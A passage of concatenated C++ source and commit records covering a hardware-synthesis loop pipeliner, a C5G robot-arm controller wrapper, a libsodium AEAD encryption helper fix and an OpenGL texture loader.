nreg->value_type_ = reg->value_type_;
reg = nreg;
} else {
reg = it->second;
}
return reg;
}
void Pipeliner::UpdateCounterRead() {
IRegister *counter = lb_->GetRegister();
for (IState *st : pipeline_stages_) {
for (IInsn *insn : st->insns_) {
auto it = insn_to_stage_.find(insn);
if (it == insn_to_stage_.end()) {
continue;
}
int stage = it->second;
for (int i = 0; i < insn->inputs_.size(); ++i) {
if (insn->inputs_[i] == counter) {
insn->inputs_[i] = counters_[stage];
}
}
}
}
}
void Pipeliner::ConnectPipelineState() {
DesignTool::AddNextState(prologue_st_, pipeline_stages_[0]);
for (int i = 0; i < pipeline_stages_.size() - 1; ++i) {
IState *cur = pipeline_stages_[i];
IState *next = pipeline_stages_[i + 1];
DesignTool::AddNextState(cur, next);
}
}
void Pipeliner::ConnectPipeline() {
// To entry.
IState *is = lb_->GetEntryAssignState();
IInsn *einsn = DesignUtil::GetTransitionInsn(is);
einsn->target_states_[0] = prologue_st_;
// From last.
IState *lst = pipeline_stages_[pipeline_stages_.size() - 1];
IInsn *linsn = DesignUtil::GetTransitionInsn(lst);
if (pipeline_stages_.size() == 1) {
// exit, current.
linsn->target_states_.push_back(linsn->target_states_[0]);
linsn->target_states_[0] = lb_->GetExitState();
} else {
linsn->target_states_.push_back(lb_->GetExitState());
}
}
void Pipeliner::SetupCounter() {
int llen = ssch_->GetMacroStageCount();
IRegister *orig_counter = lb_->GetRegister();
for (int i = 0; i < llen; ++i) {
IRegister *counter = new IRegister(tab_, RegName("ps", i));
counter->value_type_ = orig_counter->value_type_;
tab_->registers_.push_back(counter);
ostream &os = opt_log_->Reg(counter);
os << "counter:" << i;
counters_.push_back(counter);
IRegister *counter_wire = new IRegister(tab_, RegName("psw", i));
counter_wire->SetStateLocal(true);
counter_wire->value_type_ = orig_counter->value_type_;
tab_->registers_.push_back(counter_wire);
counter_wires_.push_back(counter_wire);
}
IResource *assign = DesignUtil::FindAssignResource(tab_);
for (int i = 0; i < llen * 2 - 1; ++i) {
IState *st = pipeline_stages_[i * interval_ + (interval_ - 1)];
int start = 0;
if (i >= llen) {
start = i - llen + 1;
}
for (int j = start; j <= i; ++j) {
if (j + 1 >= counters_.size()) {
continue;
}
IInsn *insn = new IInsn(assign);
st->insns_.push_back(insn);
insn->inputs_.push_back(counters_[j]);
insn->outputs_.push_back(counters_[j + 1]);
}
}
}
void Pipeliner::SetupCounterIncrement() {
// Assign at the prologue.
IInsn *insn = new IInsn(DesignUtil::FindAssignResource(tab_));
IRegister *orig_counter = lb_->GetRegister();
insn->inputs_.push_back(orig_counter);
IRegister *counter0 = counters_[0];
insn->outputs_.push_back(counter0);
prologue_st_->insns_.push_back(insn);
// Increment count0.
int llen = ssch_->GetMacroStageCount();
int cwidth = counter0->value_type_.GetWidth();
IResource *adder = DesignUtil::CreateResource(tab_, resource::kAdd);
adder->input_types_.push_back(counter0->value_type_);
adder->input_types_.push_back(counter0->value_type_);
adder->output_types_.push_back(counter0->value_type_);
IResource *assign = DesignUtil::FindAssignResource(tab_);
IRegister *one = DesignTool::AllocConstNum(tab_, cwidth, 1);
for (int i = 0; i < llen; ++i) {
IInsn *add_insn = new IInsn(adder);
add_insn->inputs_.push_back(counter0);
add_insn->inputs_.push_back(one);
add_insn->outputs_.push_back(counter_wires_[i]);
pipeline_stages_[i * interval_ + (interval_ - 1)]->insns_.push_back(
add_insn);
IInsn *wire_to_reg = new IInsn(assign);
wire_to_reg->inputs_.push_back(counter_wires_[i]);
wire_to_reg->outputs_.push_back(counter0);
pipeline_stages_[i * interval_ + (interval_ - 1)]->insns_.push_back(
wire_to_reg);
}
}
void Pipeliner::SetupExit() {
int llen = ssch_->GetMacroStageCount();
IState *st0 = pipeline_stages_[(llen - 1) * interval_];
IState *st = pipeline_stages_[(llen - 1) * interval_ + (interval_ - 1)];
IInsn *tr_insn = DesignUtil::GetTransitionInsn(st);
// next, current
tr_insn->target_states_.push_back(st0);
IRegister *cond = new IRegister(tab_, RegName("cond_ps", 0));
cond->value_type_.SetWidth(0);
cond->SetStateLocal(true);
tab_->registers_.push_back(cond);
tr_insn->inputs_.push_back(cond);
IRegister *counter0 = counters_[0];
int cwidth = counter0->value_type_.GetWidth();
IRegister *max = DesignTool::AllocConstNum(tab_, cwidth, lb_->GetLoopCount());
IResource *comparator = DesignUtil::CreateResource(tab_, resource::kGt);
comparator->input_types_.push_back(counter0->value_type_);
comparator->input_types_.push_back(counter0->value_type_);
IValueType o;
o.SetWidth(0);
comparator->output_types_.push_back(o);
IInsn *compare = new IInsn(comparator);
compare->outputs_.push_back(cond);
compare->inputs_.push_back(max);
compare->inputs_.push_back(counter_wires_[llen - 1]);
st->insns_.push_back(compare);
}
string Pipeliner::RegName(const string &base, int index) {
IRegister *orig_counter = lb_->GetRegister();
return orig_counter->GetName() + base + Util::Itoa(index);
}
void Pipeliner::PrepareRegPipeline() {
// Prepare regs.
for (auto p : reg_info_->wr_deps_) {
WRDep *d = p.second;
IRegister *reg = p.first;
vector<IRegister *> regs;
for (int i = d->wst_index_; i < d->rst_index_; ++i) {
IRegister *r = new IRegister(tab_, reg->GetName() + "_s" + Util::Itoa(i));
r->value_type_ = reg->value_type_;
regs.push_back(r);
tab_->registers_.push_back(r);
d->regs_[i] = r;
}
}
// Update for stages.
Shape shape(ssch_);
IResource *assign = DesignUtil::FindAssignResource(tab_);
for (auto p : reg_info_->wr_deps_) {
WRDep *d = p.second;
vector<pair<int, int>> v =
shape.GetPipeLineIndexRange(d->wst_index_, d->rst_index_);
for (auto &p : v) {
int macrostage = p.first;
int lindex = p.second;
if (lindex == d->wst_index_) {
// rewrite of insn->outputs_ is performed later.
continue;
}
int pindex = macrostage * interval_ + (interval_ - 1);
IState *pst = pipeline_stages_[pindex];
IInsn *insn = new IInsn(assign);
IRegister *src = d->regs_[lindex - 1];
insn->inputs_.push_back(src);
IRegister *dst = d->regs_[lindex];
insn->outputs_.push_back(dst);
pst->insns_.push_back(insn);
ostream &os = opt_log_->Insn(insn);
os << "~";
}
}
}
IRegister *Pipeliner::LookupStagedReg(int lidx, IRegister *reg) {
auto it = reg_info_->wr_deps_.find(reg);
if (it == reg_info_->wr_deps_.end()) {
return reg;
}
WRDep *dep = it->second;
auto jt = dep->regs_.find(lidx - 1);
if (jt != dep->regs_.end()) {
return jt->second;
}
return reg;
}
void Pipeliner::UpdatePipelineRegWrite() {
IResource *assign = DesignUtil::FindAssignResource(tab_);
for (IState *st : pipeline_stages_) {
vector<IInsn *> new_insns;
for (IInsn *insn : st->insns_) {
for (int i = 0; i < insn->outputs_.size(); ++i) {
IRegister *reg = insn->outputs_[i];
auto it = reg_info_->wr_deps_.find(reg);
if (it == reg_info_->wr_deps_.end()) {
continue;
}
WRDep *dep = it->second;
IRegister *preg0 = (dep->regs_.begin()->second);
if (reg->IsStateLocal()) {
// preg0 <- reg
IInsn *a = new IInsn(assign);
a->inputs_.push_back(reg);
a->outputs_.push_back(preg0);
new_insns.push_back(a);
} else {
IRegister *w = new IRegister(tab_, reg->GetName());
w->SetStateLocal(true);
w->value_type_ = reg->value_type_;
tab_->registers_.push_back(w);
insn->outputs_[i] = w;
// reg <- w
IInsn *a = new IInsn(assign);
a->inputs_.push_back(w);
a->outputs_.push_back(reg);
new_insns.push_back(a);
// preg0 <- w
IInsn *b = new IInsn(assign);
b->inputs_.push_back(w);
b->outputs_.push_back(preg0);
new_insns.push_back(b);
}
}
}
for (IInsn *insn : new_insns) {
st->insns_.push_back(insn);
}
}
}
} // namespace pipeline
} // namespace opt
} // namespace iroha
<|endoftext|>
|
<commit_before>#include <boost/thread.hpp>
#include <boost/chrono.hpp>
#include <C5G/C5G.h>
#include <C5G/userCallback.h>
#include <eORL.h>
#include <sstream>
namespace C5G{
static ORL_cartesian_position pose2ORL(const Pose& p){
static const double RAD_TO_DEG=57.2957795130824;
ORL_cartesian_position target_pos;
target_pos.unit_type = ORL_CART_POSITION;
target_pos.x=p.x*1000;
target_pos.y=p.y*1000;
target_pos.z=p.z*1000;
target_pos.a=p.alpha*RAD_TO_DEG;
target_pos.e=p.beta*RAD_TO_DEG;
target_pos.r=p.gamma*RAD_TO_DEG;
}
void C5G::moveCartesianGlobal(const Pose& p){
ORL_cartesian_position target_pos=pose2ORL(p);
ORL_joint_value target_jnt, temp_joints;
if( ORL_inverse_kinematics(&target_pos, &temp_joints, ORL_SILENT, ORL_CNTRL01, ORL_ARM1) != 0 )
{
throw std::string("--! Inverse Kinematics fails! Check joint values...\n");
}
ORL_set_move_parameters(ORL_NO_FLY, ORL_WAIT, ORL_FLY_NORMAL, 1 /* CARTESIAN */, &target_pos, NULL, ORL_SILENT, ORL_CNTRL01, ORL_ARM1);
mask_moving_arms = mask_moving_arms | (1<<ORL_ARM1);
flag_RunningMove[ORL_ARM1] = true;
std::cout << "--> Move acquired.\n";
std::cout << "Global movement to (" << target_pos.x << ", " << target_pos.y << ", " << target_pos.z << ")\nOrientation: (" << target_pos.a << ", " << target_pos.e << ", " << target_pos.r << "\n";
while(flag_RunningMove[ORL_ARM1]);
std::cout << "Movement ended.\n";
}
/** TODO CHECK THIS!*/
const Pose C5G::safePose(0.3, 0, 0.7, 0, 0, 0);
void C5G::moveCartesian(const Pose& p){
ORL_cartesian_position target_pos;
target_pos.x=p.x;
target_pos.y=p.y;
target_pos.z=p.z;
target_pos.a=p.alpha;
target_pos.e=p.beta;
target_pos.r=p.gamma;
std::cout << "Relative movement to (" << target_pos.x << ", " << target_pos.y << ", " << target_pos.z << ")\nOrientation: (" << target_pos.a << ", " << target_pos.e << ", " << target_pos.r << "\n";
}
void C5G::init(){
const std::string& STRING_IP_CNTRL=_ip, STRING_SYS_ID=_sys_id;
std::cout << "Initing the system..\n";
int si_arm, res, si_i, period;
ORL_cartesian_position sx_base, sx_tool, sx_uframe;
std::cout << "Connection to " << STRING_IP_CNTRL << ": " << STRING_SYS_ID << ".c5g\n";
cycle_active = false;
period = ORL_0_4_MILLIS;
/*freopen("stderr.log", "w", stderr);*/
for(si_arm= 0; si_arm<MAX_NUM_ARMS;si_arm++)
{
flag_RunningMove[si_arm] = false;
flag_ExitFromOpen[si_arm] = false;
modality_active[si_arm] = CRCOPEN_LISTEN;
modality_old[si_arm] = CRCOPEN_LISTEN;
memset(&Delta_Position[si_arm].ideal,0x00,sizeof(ORL_cartesian_position));
memset(&Delta_Position[si_arm].real,0x00,sizeof(ORL_cartesian_position));
memset(&Delta_Position[si_arm].speed,0x00,sizeof(ORL_cartesian_position));
Delta_Position[si_arm].ideal.unit_type = ORL_CART_POSITION;
Delta_Position[si_arm].real.unit_type = ORL_CART_POSITION;
Delta_Position[si_arm].speed.unit_type = ORL_TO_DEFINE;
}
mask_moving_arms = 0;
if( (ORLOPEN_initialize_controller(STRING_IP_CNTRL.c_str(),STRING_SYS_ID.c_str(),ORL_SILENT,ORL_CNTRL01)) != 0 )
{
throw std::string("Error in ORL_initialize_robot\n");
}
else{
std::cout << STRING_IP_CNTRL << ": " << STRING_SYS_ID << ".c5g OK\n";
}
ORLOPEN_set_period(period, ORL_VERBOSE, ORL_CNTRL01);
/* $TOOL */
sx_tool.unit_type = ORL_CART_POSITION;
sx_tool.x = 0; sx_tool.y = 0; sx_tool.z = 100;
sx_tool.a = 0; sx_tool.e = 0; sx_tool.r = 0;
/* $UFRAME */
sx_uframe.unit_type = ORL_CART_POSITION;
sx_uframe.x = 0; sx_uframe.y = 0; sx_uframe.z = 0;
sx_uframe.a = 0; sx_uframe.e = 0; sx_uframe.r = 0;
sx_base.unit_type = ORL_CART_POSITION;
/* $BASE ARM*/
sx_base.x = 0; sx_base.y = 0; sx_base.z = 0;
sx_base.a = 0; sx_base.e = 0; sx_base.r = 0;
/*ORL_initialize_frames(sx_base, sx_tool, sx_uframe, ORL_SILENT, ORL_CNTRL01, ORL_ARM1);*/
ORLOPEN_SetCallBackFunction( &user_callback, ORL_SILENT, ORL_CNTRL01);
sleep(1);
/******************************************************************/
/******************************************************************/
res = ORLOPEN_StartCommunication(ORL_SILENT);
if ( res != 0 )
{
ORLOPEN_GetPowerlinkState(ORL_SILENT);
exit(0);
}
sleep(2);
initialize_Control_position();
std::cout << "Done.\n";
}
void C5G::standby(){
ORL_terminate_controller(ORL_SILENT,ORL_CNTRL01);
std::cout << "Goodbye, cruel world..\n";
boost::this_thread::sleep_for(boost::chrono::seconds(1));
std::cout << "I'm leaving you today..\n";
boost::this_thread::sleep_for(boost::chrono::seconds(1));
std::cout << "Goodbye..\n";
boost::this_thread::sleep_for(boost::chrono::seconds(1));
std::cout << "Goodbye..\n";
boost::this_thread::sleep_for(boost::chrono::seconds(1));
std::cout << "Goodbye.\n";
}
C5G::C5G(const std::string& ip, const std::string& sys_id, bool mustInit):
_ip(ip),
_sys_id(sys_id)
{
if(mustInit){
init();
}
}
C5G::~C5G(){
standby();
}
void C5G::executeGrasp(const Grasp& g){
std::cout << "Executing grasp for object " << g.object << "\n";
//moveCartesianGlobal(Shelf.getBinSafePose(
}
void C5G::setGripping(double strength){
std::cout << "Closing the plier with strength " << strength << "\n";
boost::this_thread::sleep_for(boost::chrono::milliseconds(500));
}
}
<commit_msg>Add zero<commit_after>#include <boost/thread.hpp>
#include <boost/chrono.hpp>
#include <C5G/C5G.h>
#include <C5G/userCallback.h>
#include <eORL.h>
#include <sstream>
namespace C5G{
void C5G::setZero(){
setPosition(Pose(0, 0, 0, 0, 0, 0));
std::cout << "I'm now at zero.\n";
}
void setPosition(const Pose& p){
ORL_cartesian_position target_pos=pose2ORL(p);
std::cout << "Setting the position to: " << p << "\n";
ORL_set_position (&target_pos, NULL, 0, ORL_CNTRL01, ORL_ARM1);
}
static ORL_cartesian_position pose2ORL(const Pose& p){
static const double RAD_TO_DEG=57.2957795130824;
ORL_cartesian_position target_pos;
target_pos.unit_type = ORL_CART_POSITION;
target_pos.x=p.x*1000;
target_pos.y=p.y*1000;
target_pos.z=p.z*1000;
target_pos.a=p.alpha*RAD_TO_DEG;
target_pos.e=p.beta*RAD_TO_DEG;
target_pos.r=p.gamma*RAD_TO_DEG;
}
void C5G::moveCartesianGlobal(const Pose& p){
ORL_cartesian_position target_pos=pose2ORL(p);
ORL_joint_value target_jnt, temp_joints;
if( ORL_inverse_kinematics(&target_pos, &temp_joints, ORL_SILENT, ORL_CNTRL01, ORL_ARM1) != 0 )
{
throw std::string("--! Inverse Kinematics fails! Check joint values...\n");
}
ORL_set_move_parameters(ORL_NO_FLY, ORL_WAIT, ORL_FLY_NORMAL, 1 /* CARTESIAN */, &target_pos, NULL, ORL_SILENT, ORL_CNTRL01, ORL_ARM1);
mask_moving_arms = mask_moving_arms | (1<<ORL_ARM1);
flag_RunningMove[ORL_ARM1] = true;
std::cout << "--> Move acquired.\n";
std::cout << "Global movement to (" << target_pos.x << ", " << target_pos.y << ", " << target_pos.z << ")\nOrientation: (" << target_pos.a << ", " << target_pos.e << ", " << target_pos.r << "\n";
while(flag_RunningMove[ORL_ARM1]);
std::cout << "Movement ended.\n";
}
/** TODO CHECK THIS!*/
const Pose C5G::safePose(0.3, 0, 0.7, 0, 0, 0);
void C5G::moveCartesian(const Pose& p){
ORL_cartesian_position target_pos;
target_pos.x=p.x;
target_pos.y=p.y;
target_pos.z=p.z;
target_pos.a=p.alpha;
target_pos.e=p.beta;
target_pos.r=p.gamma;
std::cout << "Relative movement to (" << target_pos.x << ", " << target_pos.y << ", " << target_pos.z << ")\nOrientation: (" << target_pos.a << ", " << target_pos.e << ", " << target_pos.r << "\n";
}
void C5G::init(){
const std::string& STRING_IP_CNTRL=_ip, STRING_SYS_ID=_sys_id;
std::cout << "Initing the system..\n";
int si_arm, res, si_i, period;
ORL_cartesian_position sx_base, sx_tool, sx_uframe;
std::cout << "Connection to " << STRING_IP_CNTRL << ": " << STRING_SYS_ID << ".c5g\n";
cycle_active = false;
period = ORL_0_4_MILLIS;
/*freopen("stderr.log", "w", stderr);*/
for(si_arm= 0; si_arm<MAX_NUM_ARMS;si_arm++)
{
flag_RunningMove[si_arm] = false;
flag_ExitFromOpen[si_arm] = false;
modality_active[si_arm] = CRCOPEN_LISTEN;
modality_old[si_arm] = CRCOPEN_LISTEN;
memset(&Delta_Position[si_arm].ideal,0x00,sizeof(ORL_cartesian_position));
memset(&Delta_Position[si_arm].real,0x00,sizeof(ORL_cartesian_position));
memset(&Delta_Position[si_arm].speed,0x00,sizeof(ORL_cartesian_position));
Delta_Position[si_arm].ideal.unit_type = ORL_CART_POSITION;
Delta_Position[si_arm].real.unit_type = ORL_CART_POSITION;
Delta_Position[si_arm].speed.unit_type = ORL_TO_DEFINE;
}
mask_moving_arms = 0;
if( (ORLOPEN_initialize_controller(STRING_IP_CNTRL.c_str(),STRING_SYS_ID.c_str(),ORL_SILENT,ORL_CNTRL01)) != 0 )
{
throw std::string("Error in ORL_initialize_robot\n");
}
else{
std::cout << STRING_IP_CNTRL << ": " << STRING_SYS_ID << ".c5g OK\n";
}
ORLOPEN_set_period(period, ORL_VERBOSE, ORL_CNTRL01);
/* $TOOL */
sx_tool.unit_type = ORL_CART_POSITION;
sx_tool.x = 0; sx_tool.y = 0; sx_tool.z = 100;
sx_tool.a = 0; sx_tool.e = 0; sx_tool.r = 0;
/* $UFRAME */
sx_uframe.unit_type = ORL_CART_POSITION;
sx_uframe.x = 0; sx_uframe.y = 0; sx_uframe.z = 0;
sx_uframe.a = 0; sx_uframe.e = 0; sx_uframe.r = 0;
sx_base.unit_type = ORL_CART_POSITION;
/* $BASE ARM*/
sx_base.x = 0; sx_base.y = 0; sx_base.z = 0;
sx_base.a = 0; sx_base.e = 0; sx_base.r = 0;
/*ORL_initialize_frames(sx_base, sx_tool, sx_uframe, ORL_SILENT, ORL_CNTRL01, ORL_ARM1);*/
ORLOPEN_SetCallBackFunction( &user_callback, ORL_SILENT, ORL_CNTRL01);
sleep(1);
/******************************************************************/
/******************************************************************/
res = ORLOPEN_StartCommunication(ORL_SILENT);
if ( res != 0 )
{
ORLOPEN_GetPowerlinkState(ORL_SILENT);
exit(0);
}
sleep(2);
initialize_Control_position();
std::cout << "Done.\n";
}
void C5G::standby(){
ORL_terminate_controller(ORL_SILENT,ORL_CNTRL01);
std::cout << "Goodbye, cruel world..\n";
boost::this_thread::sleep_for(boost::chrono::seconds(1));
std::cout << "I'm leaving you today..\n";
boost::this_thread::sleep_for(boost::chrono::seconds(1));
std::cout << "Goodbye..\n";
boost::this_thread::sleep_for(boost::chrono::seconds(1));
std::cout << "Goodbye..\n";
boost::this_thread::sleep_for(boost::chrono::seconds(1));
std::cout << "Goodbye.\n";
}
C5G::C5G(const std::string& ip, const std::string& sys_id, bool mustInit):
_ip(ip),
_sys_id(sys_id)
{
if(mustInit){
init();
}
}
C5G::~C5G(){
standby();
}
void C5G::executeGrasp(const Grasp& g){
std::cout << "Executing grasp for object " << g.object << "\n";
//moveCartesianGlobal(Shelf.getBinSafePose(
}
void C5G::setGripping(double strength){
std::cout << "Closing the plier with strength " << strength << "\n";
boost::this_thread::sleep_for(boost::chrono::milliseconds(500));
}
}
<|endoftext|>
|
<commit_before>// sodiumcryptoraead.cpp -- Authenticated Encryption with Added Data
//
// Copyright (C) 2017 Farid Hajji <farid@hajji.name>. All rights reserved.
#include "sodiumcryptoraead.h"
#include "sodiumkey.h"
#include "sodiumnonce.h"
#include <stdexcept>
#include <vector>
#include <string>
Sodium::CryptorAEAD::data_t
Sodium::CryptorAEAD::encrypt (const Sodium::CryptorAEAD::data_t &header,
const Sodium::CryptorAEAD::data_t &plaintext,
const Sodium::Key &key,
const Sodium::Nonce<NSZA> &nonce)
{
// get the sizes
const std::size_t ciphertext_size =
plaintext.size() + Sodium::CryptorAEAD::MACSIZE;
const std::size_t key_size = Sodium::Key::KEYSIZE_AEAD;
const std::size_t nonce_size = Sodium::NONCESIZE_AEAD;
// some sanity checks before we get started
if (key.size() != key_size)
throw std::runtime_error {"Sodium::CryptorAEAD::encrypt() wrong key size"};
if (nonce.size() != nonce_size)
throw std::runtime_error {"Sodium::CryptorAEAD::encrypt() wrong nonce size"};
// make space for MAC and encrypted message
data_t ciphertext(ciphertext_size);
// so many bytes will really be written into output buffer
unsigned long long clen;
// let's encrypt now!
crypto_aead_chacha20poly1305_encrypt (ciphertext.data(), &clen,
plaintext.data(), plaintext.size(),
(header.empty() ? nullptr : header.data()), header.size(),
NULL /* nsec */,
nonce.data(),
key.data());
ciphertext.resize(clen);
return ciphertext;
}
Sodium::CryptorAEAD::data_t
Sodium::CryptorAEAD::decrypt (const Sodium::CryptorAEAD::data_t &header,
const Sodium::CryptorAEAD::data_t &ciphertext_with_mac,
const Sodium::Key &key,
const Sodium::Nonce<NSZA> &nonce)
{
// get the sizes
const std::size_t key_size = key.size();
const std::size_t nonce_size = nonce.size();
const std::size_t plaintext_size =
ciphertext_with_mac.size() - Sodium::CryptorAEAD::MACSIZE;
// some sanity checks before we get started
if (key_size != Sodium::Key::KEYSIZE_AEAD)
throw std::runtime_error {"Sodium::CryptorAEAD::decrypt() wrong key size"};
if (nonce_size != Sodium::NONCESIZE_AEAD)
throw std::runtime_error {"Sodium::CryptorAEAD::decrypt() wrong nonce size"};
if (plaintext_size < 0)
throw std::runtime_error {"Sodium::CryptorAEAD::decrypt() ciphertext length too small for a tag"};
// make space for decrypted buffer
data_t plaintext(plaintext_size);
// how many bytes we decrypt
unsigned long long mlen;
// and now decrypt!
if (crypto_aead_chacha20poly1305_decrypt (plaintext.data(), &mlen,
nullptr /* nsec */,
ciphertext_with_mac.data(), ciphertext_with_mac.size(),
(header.empty() ? nullptr : header.data()), header.size(),
nonce.data(),
key.data()) == -1)
throw std::runtime_error {"Sodium::CryptorAEAD::decrypt() can't decrypt or message/tag corrupt"};
plaintext.resize(mlen);
return plaintext;
}
std::string
Sodium::CryptorAEAD::tohex (const Sodium::CryptorAEAD::data_t &ciphertext)
{
const std::size_t hexbuf_size = ciphertext.size() * 2 + 1;
std::vector<char> hexbuf(hexbuf_size);
// convert [ciphertext.cbegin(), ciphertext.cend()) into hex:
if (! sodium_bin2hex(hexbuf.data(), hexbuf_size,
ciphertext.data(), ciphertext.size()))
throw std::runtime_error {"SodiumCryptor::tohex() overflowed"};
// In C++17, we could construct a std::string with hexbuf_size chars,
// and modify it directly through non-const data(). Unfortunately,
// in C++11 and C++14, std::string's data() is const only, so we need
// to copy the data over from std::vector<char> to std::string for now.
// return hex output as a string:
std::string outhex {hexbuf.cbegin(), hexbuf.cend()};
return outhex;
}
<commit_msg>Fixed -Wtautological-compare unsigned expression < 0 is always false.<commit_after>// sodiumcryptoraead.cpp -- Authenticated Encryption with Added Data
//
// Copyright (C) 2017 Farid Hajji <farid@hajji.name>. All rights reserved.
#include "sodiumcryptoraead.h"
#include "sodiumkey.h"
#include "sodiumnonce.h"
#include <stdexcept>
#include <vector>
#include <string>
Sodium::CryptorAEAD::data_t
Sodium::CryptorAEAD::encrypt (const Sodium::CryptorAEAD::data_t &header,
const Sodium::CryptorAEAD::data_t &plaintext,
const Sodium::Key &key,
const Sodium::Nonce<NSZA> &nonce)
{
// get the sizes
const std::size_t ciphertext_size =
plaintext.size() + Sodium::CryptorAEAD::MACSIZE;
const std::size_t key_size = Sodium::Key::KEYSIZE_AEAD;
const std::size_t nonce_size = Sodium::NONCESIZE_AEAD;
// some sanity checks before we get started
if (key.size() != key_size)
throw std::runtime_error {"Sodium::CryptorAEAD::encrypt() wrong key size"};
if (nonce.size() != nonce_size)
throw std::runtime_error {"Sodium::CryptorAEAD::encrypt() wrong nonce size"};
// make space for MAC and encrypted message
data_t ciphertext(ciphertext_size);
// so many bytes will really be written into output buffer
unsigned long long clen;
// let's encrypt now!
crypto_aead_chacha20poly1305_encrypt (ciphertext.data(), &clen,
plaintext.data(), plaintext.size(),
(header.empty() ? nullptr : header.data()), header.size(),
NULL /* nsec */,
nonce.data(),
key.data());
ciphertext.resize(clen);
return ciphertext;
}
Sodium::CryptorAEAD::data_t
Sodium::CryptorAEAD::decrypt (const Sodium::CryptorAEAD::data_t &header,
const Sodium::CryptorAEAD::data_t &ciphertext_with_mac,
const Sodium::Key &key,
const Sodium::Nonce<NSZA> &nonce)
{
// get the sizes
const std::size_t key_size = key.size();
const std::size_t nonce_size = nonce.size();
const std::size_t plaintext_size =
ciphertext_with_mac.size() - Sodium::CryptorAEAD::MACSIZE;
// some sanity checks before we get started
if (key_size != Sodium::Key::KEYSIZE_AEAD)
throw std::runtime_error {"Sodium::CryptorAEAD::decrypt() wrong key size"};
if (nonce_size != Sodium::NONCESIZE_AEAD)
throw std::runtime_error {"Sodium::CryptorAEAD::decrypt() wrong nonce size"};
if (ciphertext_with_mac.size() < Sodium::CryptorAEAD::MACSIZE)
throw std::runtime_error {"Sodium::CryptorAEAD::decrypt() ciphertext length too small for a tag"};
// make space for decrypted buffer
data_t plaintext(plaintext_size);
// how many bytes we decrypt
unsigned long long mlen;
// and now decrypt!
if (crypto_aead_chacha20poly1305_decrypt (plaintext.data(), &mlen,
nullptr /* nsec */,
ciphertext_with_mac.data(), ciphertext_with_mac.size(),
(header.empty() ? nullptr : header.data()), header.size(),
nonce.data(),
key.data()) == -1)
throw std::runtime_error {"Sodium::CryptorAEAD::decrypt() can't decrypt or message/tag corrupt"};
plaintext.resize(mlen);
return plaintext;
}
std::string
Sodium::CryptorAEAD::tohex (const Sodium::CryptorAEAD::data_t &ciphertext)
{
const std::size_t hexbuf_size = ciphertext.size() * 2 + 1;
std::vector<char> hexbuf(hexbuf_size);
// convert [ciphertext.cbegin(), ciphertext.cend()) into hex:
if (! sodium_bin2hex(hexbuf.data(), hexbuf_size,
ciphertext.data(), ciphertext.size()))
throw std::runtime_error {"SodiumCryptor::tohex() overflowed"};
// In C++17, we could construct a std::string with hexbuf_size chars,
// and modify it directly through non-const data(). Unfortunately,
// in C++11 and C++14, std::string's data() is const only, so we need
// to copy the data over from std::vector<char> to std::string for now.
// return hex output as a string:
std::string outhex {hexbuf.cbegin(), hexbuf.cend()};
return outhex;
}
<|endoftext|>
|
<commit_before>//============================================================================
// Name : Texture.h
// Author : Duarte Peixinho
// Version :
// Copyright : ;)
// Description : Texture
//============================================================================
#include "Texture.h"
#include "../../AssetManager.h"
#include "GL/glew.h"
#define GLCHECK() { int error = glGetError(); if(error != GL_NO_ERROR) { std::cout << "GL Error: " << std::hex << error << std::endl; } }
namespace p3d {
uint32 Texture::UnitBinded = 0;
uint32 Texture::LastUnitBinded = 0;
Texture::Texture() : GL_ID(-1), haveImage(false), isMipMap(false)
{
}
Texture::~Texture() {}
bool Texture::LoadTexture(const std::string& FileName, const uint32 &Type,const uint32 &SubType, bool Mipmapping)
{
bool failed = false;
std::string Filename = FileName;
sf::Image image;
bool ImageLoaded = image.loadFromFile(Filename);
if (!ImageLoaded)
{
echo("ERROR: Texture Not Found!");
Filename = "textures/texture_not_found.png";
ImageLoaded = image.loadFromFile(Filename);
}
if (ImageLoaded)
{
this->FileName=Filename;
this->Width=image.getSize().x;
this->Height=image.getSize().y;
this->Image=image;
this->haveImage=true;
this->Type=Type;
this->SubType=SubType;
this->Transparency=TextureTransparency::Opaque;
if (this->GL_ID==-1) {
glGenTextures(1, (GLuint*)&this->GL_ID);
}
if (this->GL_ID==-1)
{
failed = true;
}
} else {
failed = true;
}
if (failed)
{
echo("ERROR: Failed to Load Texture.");
return false;
}
// create default texture
return CreateTexture(Mipmapping);
}
bool Texture::CreateTexture(bool Mipmapping)
{
// default texture
switch(SubType) {
case TextureSubType::CubemapNegative_X:
subMode=GL_TEXTURE_CUBE_MAP_NEGATIVE_X;
mode=GL_TEXTURE_CUBE_MAP;
internalFormat=GL_RGBA8;
internalFormat2=GL_RGBA;
internalFormat3=GL_UNSIGNED_BYTE;
break;
case TextureSubType::CubemapNegative_Y:
subMode=GL_TEXTURE_CUBE_MAP_NEGATIVE_Y;
mode=GL_TEXTURE_CUBE_MAP;
internalFormat=GL_RGBA8;
internalFormat2=GL_RGBA;
internalFormat3=GL_UNSIGNED_BYTE;
break;
case TextureSubType::CubemapNegative_Z:
subMode=GL_TEXTURE_CUBE_MAP_NEGATIVE_Z;
mode=GL_TEXTURE_CUBE_MAP;
internalFormat=GL_RGBA8;
internalFormat2=GL_RGBA;
internalFormat3=GL_UNSIGNED_BYTE;
break;
case TextureSubType::CubemapPositive_X:
subMode=GL_TEXTURE_CUBE_MAP_POSITIVE_X;
mode=GL_TEXTURE_CUBE_MAP;
internalFormat=GL_RGBA8;
internalFormat2=GL_RGBA;
internalFormat3=GL_UNSIGNED_BYTE;
break;
case TextureSubType::CubemapPositive_Y:
subMode=GL_TEXTURE_CUBE_MAP_POSITIVE_Y;
mode=GL_TEXTURE_CUBE_MAP;
internalFormat=GL_RGBA8;
internalFormat2=GL_RGBA;
internalFormat3=GL_UNSIGNED_BYTE;
break;
case TextureSubType::CubemapPositive_Z:
subMode=GL_TEXTURE_CUBE_MAP_POSITIVE_Z;
mode=GL_TEXTURE_CUBE_MAP;
internalFormat=GL_RGBA8;
internalFormat2=GL_RGBA;
internalFormat3=GL_UNSIGNED_BYTE;
break;
case TextureSubType::DepthComponent:
subMode=GL_TEXTURE_2D;
mode=GL_TEXTURE_2D;
internalFormat=GL_DEPTH_COMPONENT;
internalFormat2=GL_DEPTH_COMPONENT;
internalFormat3=GL_UNSIGNED_BYTE;
break;
case TextureSubType::FloatingPointTexture16F:
mode=GL_TEXTURE_2D;
subMode=GL_TEXTURE_2D;
internalFormat=GL_RGBA16F;
internalFormat2=GL_RGBA;
internalFormat3=GL_FLOAT;
break;
case TextureSubType::FloatingPointTexture32F:
mode=GL_TEXTURE_2D;
subMode=GL_TEXTURE_2D;
internalFormat=GL_RGBA32F;
